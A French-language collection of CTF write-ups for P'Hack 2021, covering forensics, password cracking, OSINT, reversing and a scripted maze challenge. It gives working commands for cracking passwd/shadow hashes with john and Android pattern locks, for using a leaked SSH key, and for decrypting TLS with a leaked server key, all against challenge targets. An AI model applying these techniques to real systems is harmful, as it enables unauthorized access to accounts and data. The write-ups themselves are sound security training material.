CTF Writeups

  • Phack2021
  • Cyber apocalypse 2021

WE-1 (FlagClub) - variable

Il s'agit de rassembler 5 shares afin de pouvoir reconstituer le flag dans le cadre d'un Shamir's Secret Sharing. Chaque équipe est munie d'un share différent (donc il y en a une cinquantaine) et doit donc en obtenir 4 autres. De plus, le challenge vaudra de moins en moins de points au fur et à mesure que plus d'équipes le réussiront.

Toute la difficulté du challenge repose sur l'obtention des "shares" de la part des autres participants, qui n'ont pas d'intérêt à partager leur véritable clé car cela entraînerait potentiellement une perte d'avantage contre cette équipe que l'on aiderait à flag, ainsi que de l'avantage général sur les équipes n'ayant pas flag de par la valeur diminuant. Et ceci est sans même imaginer que l'équipe à qui l'on donne sa clé la partage encore plus.

Il est de plus très difficile d'attester de l'authenticité d'une clé (et probablement impossible avec assez de moyens, mais on supposera que personne n'en viendra à ces extrêmes). Le message Discord initial, posté par un bot dans le channel de chaque équipe, est supposé non altérable en tant que tel. Dès lors il s'agit de la preuve évidente que souhaiteront ceux récupérant des clés.

Néanmoins un message Discord est vite falsifié côté client, (notamment car il s'agit d'une application Electron) il suffit d'accéder à ses outils de développeur et d'éditer à foison. Nous avons néanmoins remarqué que changer de channel puis revenir au même rafraîchissait ces changements. Nous avons donc conclu qu'un live Discord montrant le message original après un changement de channel était preuve de validité suffisante pour une clé.

Reste à forcer quelqu'un à donner sa vraie clé. Et pour cela aucune réelle solution. Une fois que le premier parti d'un supposé échange a rempli sa part et donné sa clé, strictement rien n'empêche l'autre de lâchement fuir sans remplir sa part du contrat, si ce n'est son honneur / amour propre s'il en a.

Une fois (si cela arrive) que l'on a récupéré 5 shares, diverses applications permettent de reconstituer le secret, par exemple ssss.

WE-3 (Checkmate) - 64 points

L'archive necessite un mot de passe pour etre décompresser, mais on a un indice sur le mot de passe: c'est une ville français en minuscule. On recupere un json qui contient les 32000 communes françaises, on le format pour avoir un format de wordlist comprehensible par john. On trouve la ville qui sert de mot de passe. On obtient un .bak en decompressant les archives. A l'interieur se trouvent des positions d'echec en notation algébriques mais avec des coups manquants. Il faut donc jouer la partie et tenter d'arriver au mat final pour reconstituer le fichier. Le flag est le md5sum de ce fichier reparé (a noter que 2 parties différentes peuvent être jouées, donnant lieu à 2 flags différents.)

Android Cloud - 128 points

Problème

Un service américain propose de se débarasser définitivement de son smartphone grâce à sa nouvelle  plateforme de AaaS (Android as a Service).

Mais méfiant de nature, vous décidez d'aller vérifier par vous même que la sécurité correspond à vos standards.

Lien du challenge : http://android-cloud.phack.fr 

Résolution

En arrivant sur le site, on a un téléphone Android qui est verrouillé par un pattern. On peut essayer d'en faire au hasard, mais cela n'affiche juste "Wrong code". Il faut trouver une manière de le deviner.

image-20210403193523500

En bas à gauche du site, on a une rubrique "Last backup on Sat Mar 10 2020, 17:16:18 (UTC+1)". En cliquant sur le mot souligné "backup", on arrive sur le code d'un fichier .php dont voici le début:

# For debug, must remove later !!!
highlight_file ( __FILE__, false ); die();

$filename = "backup@" . date("m-d-Y") . ".zip";
$archive  = new ZipArchive();

if (!$archive->open("./dev-backups/" . $filename, (ZipArchive::CREATE | ZipArchive::OVERWRITE))) {
    die("Archive init failed");
}

On remarque que le nom de fichier d'une backup commence toujours pas "backup@", puis contient la date sous la forme "mois-jour-année" et enfin l'extension ".zip".

Ayant la date de la dernière backup, on peut former le string suivant: backup@03-10-2020.zip.

Grâce à la suite du code, on sait que les backups sont stockées dans le dossier dev-backups/.

On a donc le chemin complet de la dernière backup: url/dev-backups/backup@03-10-2020.zip, ce qui nous fait télécharger l'archive quand on s'y rend. Une fois l'archive téléchargée, on la décompresse et on obtient ce qui semble être un système Android:

image-20210403194727409

On va donc essayer de cracker le code avec le fichier ou il est stocké, gesture.key dans data/system/gesture.key.

Il existe plein d'outils pour obtenir le code, j'ai utilisé celui-ci: https://github.com/sch3m4/androidpatternlock

clem@ubuntu:~/Desktop/phack/forensics/android$ python2 aplc.py ./data/system/gesture.key 

################################
# Android Pattern Lock Cracker #
#             v0.2             #
# ---------------------------- #
#  Written by Chema Garcia     #
#     http://safetybits.net    #
#     chema@safetybits.net     #
#          @sch3m4             #
################################

[i] Taken from: http://forensics.spreitzenbarth.de/2012/02/28/cracking-the-pattern-lock-on-android/

[:D] The pattern has been FOUND!!! => 04137658

[+] Gesture:

  -----  -----  -----
  | 1 |  | 3 |  |   |  
  -----  -----  -----
  -----  -----  -----
  | 4 |  | 2 |  | 7 |  
  -----  -----  -----
  -----  -----  -----
  | 6 |  | 5 |  | 8 |  
  -----  -----  -----

It took: 0.6148 seconds

On obtient le code ainsi que le chemin à dessiner, qu'on peut directement faire sur le site:

image-20210403195755304

Flag: PHACK{T4kec4rE_oF_Ur_B4cKupS!}

Git de France - 128 points

Problème

J'ai perdu mon flag quelque part dans ce projet..
Pas moyen de remettre la main dessus :( 
  • chall.zip

Résolution

On nous donne une archive à décompresser, qui contient les fichiers suivant:

image-20210403200629057

D'après le nom du challenge, on peut se douter que ça n'aura pas grand chose à voir avec le site en lui même, mais plutôt avec le .git. On peut l'ouvrir avec n'importe quel outil git pour pour que ce soit plus simple, je l'ai fait avec gitkraken car je l'avais déjà d'installé et que ça irait plus vite. En cherchant un peu, on trouve le flag.

Flag: PHACK{Z2l0IGNvbW1pdCAtbSAiRXogZ2l0IDp0YWRhOiI=}

Piraterie (Ep 1) - 512 points

Problème

Vous venez d'être embauché en tant qu'analyse sécurité dans votre nouvelle entreprise. Encore ému par cette nouvelle, on vous affecte à votre première mission.

Votre client du jour s'est fait piraté. Heureusement, il a eut la présence d'esprit de ne pas éteindre la machine compromise et vous fournit un dump mémoire.

Essayez de trouver ce qu'a pu faire le pirate.
  • dump.raw

Résolution

On nous donne un fichier dump.raw de 2Go, qui semble être un dump mémoire. On va donc l'analyser avec volatility:

$ ./volatility_2.6_lin64_standalone -f dump.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/clem/Desktop/phack/forensics/piraterie/volatility_2.6_lin64_standalone/dump.raw)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x82b40c28L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x82b41c00L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2021-02-20 23:46:58 UTC+0000
     Image local date and time : 2021-02-21 00:46:58 +0100

Selon l'analyse, c'est un profil Win7SP1x86_23418. On va donc pouvoir utiliser ce profil pour récupérer des infos sur le dump. Les premières choses à regarder peuvent varier, c'est un peu du pif mais on peut deviner qu'il faut regarder le contenu de la console. Pour ça il faut utiliser la commande consoles (en précisant bien le profil trouvé). J'ai coupé la sortie car elle était vraiment longue, mais elle contenait surtout ça:

...
C:\Users\Mes-vms.fr\Desktop>echo "Got U fucker !!!!" > .Pwned                   
                                                                                
C:\Users\Mes-vms.fr\Desktop>echo "PHACK{STEP_1-IC4nD0Wh4TuD0}" >> .Pwned        
                                                                                
C:\Users\Mes-vms.fr\Desktop>rm .Pwned
...

Flag: PHACK{STEP_1-IC4nD0Wh4TuD0}

Piraterie (Ep 2) - 512 points

Problème

Il semble que le pirate ait réussi à récupérer des informations confidentielles qui étaient visibles sur le bureau.
Validez cette hypothèse et retrouvez cette information.

Résolution

La première chose logique à faire en lisant l'énnoncé est de regarder le contenu du bureau. Pour ça, on a la commande filescan à laquelle on va piper grep "\Desktop":

$ ./volatility_2.6_lin64_standalone -f dump.raw --profile=Win7SP1x86_23418 filescan | grep "\Desktop"
Volatility Foundation Volatility Framework 2.6
0x000000007ce4ae68      1      1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d10ca70      1      1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d1b71a8      1      1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d258778      7      0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
0x000000007d258b68      7      0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
0x000000007d30a1c0      1      1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d33e9b0      7      0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop\desktop.ini
0x000000007d34f4f8      8      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini
0x000000007d34fd08      7      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
0x000000007d35ace8      7      0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini
0x000000007d38b378      8      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini
0x000000007d38ba58      8      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
0x000000007d38ce50      8      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
0x000000007d3c0f80      1      1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d3fc518      2      1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop
0x000000007d3fc7f0      2      1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop
0x000000007d3fcac8      2      1 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d3fcda0      2      1 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007ee66570      7      0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
0x000000007ee668a8      7      0 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop\desktop.ini
0x000000007fc9af80      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Characters\Desktop.ini
0x000000007fca7260      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Landscapes\Desktop.ini
0x000000007fca79d8      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Architecture\Desktop.ini
0x000000007fd21900      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Nature\Desktop.ini
0x000000007fd3c908      1      1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007fd44e00      8      0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini
0x000000007fe2f5f0      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Scenes\Desktop.ini

On obtient plein de chemins, mais rien de concluant... J'ai quand même durant le CTF essayé d'extraire le fichier "desktop.ini", qui ne donnait rien. Et c'est la qu'il faut comprendre le sens de la consigne; ce qui "est visible depuis le bureau" n'est pas un fichier, mais le fond d'écran! On peut donc (quand on est comme moi et qu'on ne sait pas ou est stoqué le fond d'écran) grep "wallpaper":

$ ./volatility_2.6_lin64_standalone -f dump.raw --profile=Win7SP1x86_23418 filescan | grep "Wallpaper"
Volatility Foundation Volatility Framework 2.6
0x000000007d10b440      7      0 RWD--- \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg
0x000000007fc9af80      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Characters\Desktop.ini
0x000000007fca7260      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Landscapes\Desktop.ini
0x000000007fca79d8      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Architecture\Desktop.ini
0x000000007fd21900      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Nature\Desktop.ini
0x000000007fe2f5f0      8      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Scenes\Desktop.ini

On trouve le fond d'écran à la première ligne, on peut essayer de récupérer le fichier avec l'adresse physique du fichier:

$ mkdir output
$ ./volatility_2.6_lin64_standalone -f dump.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007d10b440 -D output/
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x7d10b440   None   \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg

On obtient cette image:

image-20210403224259688

Flag: PHACK{STEP_2-IC4nCwH4TUC}

Piraterie (Ep 3) - 512 points

Problème

Sachant ce qui a été dérobé, il faut maintenant retrouver le malfrat.
Retracez son parcours et retrouvez l'IP ainsi que le port de connexion qu'il a utilisé pendant son attaque.

Le flag est de la forme PHACK{...} avec le résultat de IP:PORT encodé en base 64. 

Résolution

Cette partie du challenge est selon moi plus facile que la précédente. Étant donné qu'un "malware" a infecté le PC, on peut penser que le processus malicieux est encore allumé sur l'ordinateur de la victime. On peut lister tout les processus utilisant la connexion sur la machine avec la commande netscan: (résultat tronqué)

0x7f191890      TCPv4      0.0.0.0:49153       0.0.0.0:0              LISTENING       820       svchost.exe
0x7f191890      TCPv6      :::49153            :::0                   LISTENING       820       svchost.exe
0x7fc2fcd0      TCPv4      -:49478             172.217.22.142:443     CLOSED          3040      firefox.exe
0x7fc64008      TCPv4      10.0.2.15:49461     185.13.37.99:1337      ESTABLISHED     4440      powershell.exe
0x7fc9a008      TCPv4      -:49480             172.217.22.142:443     CLOSED          3040      firefox.exe
0x7fc9a798      TCPv4      127.0.0.1:49415     127.0.0.1:49416        ESTABLISHED     2072      firefox.exe
0x7fcc4890      TCPv4      10.0.2.15:49489     216.58.213.78:443      ESTABLISHED     3040      firefox.exe

On y voit tout les processus, y compris un qui semble suspect: "powershell.exe". On nous donne l'ip et le port sous la forme demandé, il ne nous resque plus qu'à l'encoder et à tester le flag.

$ echo -n "185.13.37.99:1337" | base64
MTg1LjEzLjM3Ljk5OjEzMzc=

On reçoit les points en ajoutant l'enrobage, bingo!

Flag: PHACK{MTg1LjEzLjM3Ljk5OjEzMzc=}

RAID Dead Redemption - 512 points

Problème

Vous travaillez à la brigade spéciale du service cyberdéfense de la gendarmerie de Montargis.

Les disques dur d'une femme ont été saisis et viennent de vous être transmis. Elle est suspectée d'avoir téléchargé de nombreux fichiers PNG et JPG dont elle n'avait pas la propriété intellectuelle. Mais il semblerait qu'elle ait eu le temps de supprimer une partie des preuves avant l'intervention. Faites de votre mieux pour en extraire le maximum !

Le manuel d'un logiciel suspect tournant sur l'ordinateur a également été retrouvé et vous a été transmis pour vous guider dans votre enquête.

Résolution

On nous donne une documentation technique faite maison qui parle de disque montés en RAID5, et aussi 3 fichiers, respectivement DISK1.bin, DISK2.bin et DISK3.bin. Ces trois partitions semblent donc faire partie d'un système RAID5, sauf qu'en analysant les fichiers avec la commande file, on remarque que le disque 2 est vide:

$ file ./DISK*
DISK1.bin: data
DISK2.bin: empty
DISK3.bin: data

Or, comme les partitions viennent d'un système monté en RAID5, une partition est simplement le XOR de deux autres. On peut donc XORer les partitions 1 et 3 pour récupérer la deuxième:

with open("DISK1.bin", "rb") as fin:
    disk1 = fin.read()

with open("DISK3.bin", "rb") as fin:
    disk3 = fin.read()

disk2 = "".join([chr(int(d1) ^ int(d3)) for d1, d3 in zip(disk1, disk3)])

with open("DISK2_RECOVERED.bin", "wb") as fout:
	fout.write(bytes(disk2, "utf-8"))

Ainsi, on obtient notre deuxième disque. Maintenant, on va pouvoir ré-écrire les données contenues dans les disques en se servant des 3 partitions qu'on a, et des informations données dans la notice (comme la taille des blocs à écrire ou la parité):

(je lie une version commentée du code ci-dessous, pour éviter de trop remplir le document)

with open("DISK1.bin", "rb") as fin:
    disk1 = fin.read()

with open("DISK2_RECOVERED.bin", "rb") as fin:
    disk2 = fin.read()

with open("DISK3.bin", "rb") as fin:
    disk3 = fin.read()

raidArray = [disk1, disk2, disk3]

BLOCKSIZE = 1

with open("data", "wb") as fout:
        for blockIndex in range(int(len(disk1) / BLOCKSIZE)):
                parityIndex = (2 - blockIndex) % 3

                for driveIndex in range(3):
                        if driveIndex != parityIndex:

                                blockStart = blockIndex * BLOCKSIZE

                                fout.write(raidArray[driveIndex][blockStart:blockStart + BLOCKSIZE])

Avec ce script on obtient donc les données des disques:

$ file data
data: PNG image data, 706 x 242, 8-bit non-interlaced

C'est une image! C'est bon signe car c'est ce qui était demandé dans la consigne: de retrouver les images volées. Voici l'image en question:

image-20210406190421642

Rien de très concluant... Mais foremost arrive à extraire des données de cette image, donc voici un screen du dossier "output/" qu'il produit:

image-20210406190758800

En fouillant dans le dossier jpg/, on trouve ces images:

image-20210406190837299

Dont celle-ci: (00000752.jpg)

image-20210406190923749

Malgré la qualité déplorable, on a le flag! Le reste des images n'étaient que des memes que voici.

Flag: PHACK{R41d_1s_N1cE_7hANk_U2_m4s7ok_3000!!}

Tendu comme un slip - 64 points

Vu le nom du challenge et le nombre de points, on va utiliser strings pour afficher tout les charactères imprimables du binaire fourni avec le challenge. Comme on sait que le flag a pour format PHACK, on donne le resultat du strings à grep "PHACK" et le flag apparaît.

No strings

Pour ce challenge, strings ne donne rien d'interessant. On va donc utiliser cutter, un frontend pour radare2 pour essayer de reverse le binaire. Dans le listing des fonctions, on voit la fonction display_flag, qui semble très interessante. Cependant, la fonction display_flag est très difficile à lire. On va donc utiliser la ligne je 0x1684 du main pour jumper directement dans la fonction. on remplace donc cette ligne par la ligne je 0x1179 qui permet de jumper à l'adresse 0x1179 qui correspond à la fonction display_flag. On sauvegarde cette modification, on quitte Cutter et on relance le binaire. Le flag apparait.

Mr Weak - 256 points

On recherche un "Johnny Weak". sherlock peut donner des idées de réseaux / sites à regarder (l'output est toujours rempli de faux positifs néanmoins).

On trouve alors un https://github.com/johnnyweak dont l'avatar est analogue au logo du CTF. Celui-ci possède un repository "secret-project", dans lequel on trouve notamment un historique .bash_profile et une clé privée id_rsa.

À la fin de l'historique Johnny nous donne gentiment comment accéder à son serveur à l'aide de la clé privée adjointe : ssh -p6969 -i id_rsa johnnyweak@secr3t-pr0j3cts.phack.fr. Sur celui-ci il ne reste plus qu'à cat le fichier contenant le flag.

sauce.io - 128 points

Le flag est sur la bannière Twitter de P'Hack, caché par l'avatar.

Journées portes ouvertes - 128 points

On se voit fourni un nom de domaine ainsi que la mention de "port(e)s ouvert(e)s.". On va donc regarder les ports ouverts avec nmap et voir si ceux-ci acceptent de nous donner un flag.

sudo nmap -vv -p- journees-portes-ouvertes.phack.fr

Et effectivement, sur certains des ports accessibles, on obtient avec nc journees-portes-ouvertes.phack.fr <port> un fragment du flag, ou sinon un message disant qu'il n'y a rien.

La liste des ports ouverts sur la machine a grandement fluctué pendant que nous essayions de flag ce challenge, et à plusieurs reprises finissait par uniquement 1 ou deux ports disponibles et invariables. Nous ne savons pas dans quelle mesure cela faisait partie du challenge. Dans l'optique de ports ouverts que brièvement nous avons aussi fait usage de rustscan pour détecter ceux-ci le plus vite possible avec le compromis des faux positifs et ratés.

Système de nom de domaine - 128 points

Le titre du challenge est littéralement DNS (Domain Name System). On va donc jeter un oeil aux DNS records du nom de domaine avec dig, et voilà un flag.

Cracky - 128 points

On se voit donner un hash que l'on doit cracker 19f9f30bd097d4c066d758fb01b75032. Il s'agit du hash MD5 de justdoit qu'un site comme crackstation retrouve facilement.

Etsy - 128 points

Il n'y a pas besoin de prêter attention à l'indice sur le boss, celui-ci est plus déroutant qu'autre chose.

On se voit fourni deux fichiers qui sont respectivement un /etc/passwd et le /etc/shadow associé d'un système, ainsi qu'une wordlist. Il nous reste à voir si l'on peut cracker un ou des mots de passe parmi ceux-ci. On utilise john.

john unshadow passwd shadow > passwords.txt

john --wordlist=wordlist passwords.txt

Après un temps conséquent (17min26 sur mon ordinateur) la session se conclut et précise qu'un mot de passe a été trouvé, l'on peut voir celui-ci avec john --show passwords.txt, et le flag est PHACK{mot de passe}.

Sammy - 256 points

On se retrouve avec un fichier system et un fichier sam. Ce sont des fichiers similaires à shadow sous linux, qui contiennent des informations sur les mots de passe des utilisateurs. On utilisera l'outil hivexsh pour ce challenge.

> hivexsh sam
> cd SAM
> sam\SAM> cd Domains
> sam\SAM\Domains> cd Account
> sam\SAM\Domains\Account

Avec ls, on trouve Users, on explore les clefs et on trouve dans 00003E9 et grâce à lsval, on trouve une clef très interessante: UserPasswordHint. Finalement, en utilisant lsval UserPasswordHint, on obtient le flag :).

Certifié sécurisé - 256 points

On trouve l'image Docker sur hub.docker.com

On peut alors la mettre en place afin de naviguer en tant que root dans ses dossiers :

docker pull phackctf/challenge
sudo dockerd &
sudo docker run -i -t bd2940a6f086 /bin/bash

on retrouve la clé privée associée au certificat phack.key dans le dossier /cert

On peut ensuite l'utiliser dans un logiciel comme Wireshark pour déchiffrer les échanges HTTPS avec le site, dans lesquels on accède au mot de passe qui constitue (une fois qu'on l'enveloppe de PHACK{}) le flag.

Procédure (graphique) pour Wireshark : Editer - Préférences - Protocols - TLS - Edit (RSA keys list) - ajouter son key file ; et au besoin IP serveur | port HTTPS (443) | tls ; ainsi qu'éventuellement la passphrase de la clé privée.

Enchaîné - 128 points

On est face à une chaîne de caractères assez longue ressemblant à du Base64 sans padding, et comprenant 2 points . . On reconnaît un JWT (JSON Web Token). Celui-ci peut être décodé par un site comme jwt.io. On obtient une chaîne hexadécimale, qui décodée donne du Base64, qui donne enfin le flag chiffré par décalage (voir Guacamole).

Guacamole - 128 points

On est face à un chiffrement qui porte sur les lettres, emphase est faite sur le mot "avocat". Des traumatismes d'enfance permettent d'immédiatement comprendre qu'il s'agit de la clé : "A vaut K" ; il s'agit d'un chiffrement par décalage (ou de César quand on ne sait pas que César chiffrait uniquement avec un décalage de 3). On peut aisément décoder celui-ci avec un site comme dCode.

H3lp - 256 points

Problème

Un message de votre ami intergalactique vient d'arriver ! Saurez-vous le décoder à temps ?

3()()¯¯V)--, '-- v^|--[]_|\|/ <(Z/\>-'v^ []_|¯¯U L!LL|_]_]^-]=[[]ZLL| |--() 3<[^<Z >-[]] .. '-- LLVVUU_] _|'--_V_\|/ -^() ^-WUU/\ 3<(v^ _V_'--¯¯VZ<{A_^-LL|¯¯V. E>- '--Z>LL|[/][--'--LD<||--'--()Zv^ <[A<W _]LL|<|/\'--ZLD EW [--[] |--]=[\|/ '--ZLL<{E()](/) N]A<LD. E^< A_()|--<([--() <(Z/\ A<LL|>< <{^<W ]=[\|/_]A_'--ZLD ELL| ()Z |--]=['--v^. E\|/LL|[-- EVV |--[]Z'--LD]=[[--, |¯¯A_.E, <[[-- ^-'--NN<|^-_]<{ZUU[--. '-- ]=[\|/<{A<¯¯U |--]=[<||-- []Z\|/ []L|_ |--]=[\|/ _|'--[--|--_]VV LD^<LL|WZ EUUZ E'--LD]=[|-- ]=[<|>UU (/)UUWZ V\[]E\|/[--]=['--ZLD. ¯¯U()Z'|-- 3()^<A<>- U()3-^())-- .. 3VV ]=[<(>\|/ <( L|_A<'--UUZ¯¯U '--Z ZUUVV¯¯U, <{Z¯¯V 3W 3'--_|_| Z()[-- ^<LL|(/)|-- ]Z|--'--_| ]=[W'v^ [/]<|LLUU '--Z <|Z¯¯U)--'V\ ^<()[]E. [--<{_V_W L|<[^<\|/.
AA]NN

Le flag est le lieu de rendez-vous en majuscules au format PHACK{LIEU}.

Résolution

Ce challenge nous a pris beaucoup trop de temps pour sa difficulté. Au début, nous avons essayé de faire correspondre chaque signe du message avec des lettres, comme par exemple () = O, 3 = B etc... Mais cela ne donnait rien et était trop lent. Au final, il suffisait d'identifier la méthode utilisée pour crypter le message. Le site dcode.fr nous indique avec une grande confiance que ça serait du LSPK90 Clockwise, qui est une encryption qui consiste à tourner de 90 degrés chaque lettre d'un message. Effectivement, cela semble fonctionner sur notre texte sur le premier mot par exemple:

  • 3 = W
  • () = O
  • () = O
  • ¯¯V = D
  • )-- = Y

On peut s'aider d'un outil pour trouver le message original complet, comme celui de dcode.fr:

WOODY, I STOLE ANDY'S OLD CELLPHONE TO WARN YOU : I FEEL LIKE BO PEED WAS KIDNAPPED. MY INVESTIGATIONS ARE LEADING ME TO THE INFAMOUS ZURG.
MR POTATO AND REX ARE HELPING ME ON THIS. MEET ME TONIGHT, 7P.M, AT PIZZAPLANET. I HEARD THAT ONE OF THE LITTLE GREEN MEN MIGHT HAVE SEEN SOMETHING.
DON'T WORRY COWBOY : WE HAVE A FRIEND IN NEED, AND WE WILL NOT REST UNTIL HE'S SAFE IN ANDY'S ROOM.
TAKE CARE.
BUZZ

On y lit que Buzz donne rendez-vous à Woody, au "PIZZAPLANET".

Flag: PHACK{PIZZAPLANET}

A-Maze-Ing - 256 points

Problème

Un étrange serveur souhaite vous mettre à l'épreuve.
Soyez à la hauteur.

=== Connexion ===
Serveur : a-maze-ing.phack.fr
Port : 4242

Résolution

En se connectant sur l'URL, voici les informations qu'on a:

image-20210406193226899

On peut essayer de faire une requête GET sur la route http://a-maze-ing.phack.fr:4242/chall pour voir ce qu'on nous donne:

$ curl -X GET "http://a-maze-ing.phack.fr:4242/chall"
{"token": "c612355bbaed4a5ab9d2b3c593d90903", "solveMe": "######################x  #         #   # #### # ##### # # # # ##   #   #   #   #   ## ### ### ######### ## # # #   #     # # ## # # # ##### # # # ## #   #     # #   # ## # ####### # ##### ## #       # #     # ## ##### ### # ### # ##   #   #   #   #   #### ### # ##### ###### #   # #   # #   # ## ### ##### # ### # ##   #   #   # #   # ## ##### # ### # ### ##     #   # #   #   ## ### ##### # ### # ##   #             #$######################"}

Vu le nom du challenge et ce qu'on nous recevons, on peut se douter qu'on va devoir résoudre le labyrinthe donné dans la réponse. Mais d'abord, essayons de reformer le labyrinthe:

image-20210406193610511

On comprend assez bien qu'on doit partir du "x" et se rendre jusqu'au "$", mais comment soumettre la solution ? On peut donc essayer de soumettre une solution au hasard sur la route /chall en POST, et voir la réponse du serveur:

$ curl -X POST "http://a-maze-ing.phack.fr:4242/chall"
Expected json format : { "token" : "", "solution" : "" }

Adaptons la requête:

$ curl -X POST http://a-maze-ing.phack.fr:4242/chall -H "Content-Type: application/json" -d "{\"token\":\"c612355bbaed4a5ab9d2b3c593d90903\",\"solution\":\"ma_super_solution\"}"
Wrong token or time is over

Le token semble avoir expiré, ce qui est normal vu qu'on a mis plus de 5 secondes à répondre. En automatisant, voilà la réponse qu'on obtient:

$ cat test.py 
import requests
import json

# On récupère le labyrinthe et le token
url = "http://a-maze-ing.phack.fr:4242/"
to_solve = json.loads(requests.get(url+"chall").text)

print("Maze token:", to_solve["token"])

# On prépare notre réponse avec le token et n'importe quelle solution
params = {
	"token": to_solve["token"],
	"solution": "ma_super_solution"
}


print("Sending solution:", params)

# On l'envoit et on affiche la réponse
s = requests.post(url+"chall", json=params)

print(s, s.text)

clem@ubuntu:~/Desktop/phack/prog/laby$ python3 test.py 
Maze token: b7cfe7a37b0b4557a128eb4487e86b76
Sending solution: {'token': 'b7cfe7a37b0b4557a128eb4487e86b76', 'solution': 'ma_super_solution'}
<Response [200]> "Solution" field must match "^[↑↓←→]*$"

Super, on a notre réponse; on doit envoyer la solution sous la forme de flèches. Il ne reste plus qu'a trouver une façon de résoudre le labyrinthe et de l'envoyer! Pour ça, j'ai trouvé un script sur internet. La plupart du temps de résolution du challenge a en fait été prise par l'adaptation de ce script pour les besoins sur challenge, car ce script était fait pour Python 2.x et surtout ne renvoyait pas la solution sous la forme que nous voulons (les flèches), il a donc fallut l'adapter pour qu'au lieu de juste renvoyer la solution sous forme de labyrinthe dans le fichier "out.txt", le solveur renvoie également la solution sous forme de flèches. J'ai donc opté pour une technique de gros porc, c'est-à-dire ne changer que le strict minimum. Le script se fait donc toujours exécuter avec la commande python3 solver.py in.txt out.txt, et donc ma technique a été d'appeler ce script avec la méthode "system" du module "os". Voici le solveur adapté:

Et voici l'utilisation que j'en fais avec le fichier "exploit.py": (non modifiée depuis le CTF, toujours pas propre)

import requests
import json
from os import system

dirs = {
	"up": "↑",
	"down": "↓",
	"left": "←",
	"right": "→"
}

url = "http://a-maze-ing.phack.fr:4242/"
to_solve = json.loads(requests.get(url+"chall").text)

print("Maze token:", to_solve["token"])

to_solve["solveMe"] = to_solve["solveMe"].replace("x","S").replace("$","E")

with open("in.txt", "w") as fin:
	lines = int(len(to_solve["solveMe"])/22)
	fin.write("\n".join(to_solve["solveMe"][line*21:line*21+21] for line in range(lines+1)))

system("python3 solver.py in.txt out.txt")

with open("path.txt", "r") as fin:
	path = fin.read()
	print("Path to send:", path)


	params = {
		"token": to_solve["token"],
		"solution": "↓" + path
	}


	print("Sending solution:", params)


	s = requests.post(url+"chall", json=params)

	print(s)
	print(s.text)

Voici la sortie:

$ python3 exploit.py 
Maze token: 96cc6ed6b5eb45d795dc79eaaaa00930
Path to send: ↓↓↓→→↑↑↑↑→→↓↓→→→→↑↑→→↓↓→→↓↓↓↓↓↓↓↓↓↓←←↓↓←←↑↑←←↑↑→→↑↑→→↑↑←←←←↓↓←←↑↑←←↓↓←←↓↓↓↓↓↓↓↓↓↓→→→→↑↑→→↓↓→→→→→→→→↑↑→→→→↓↓
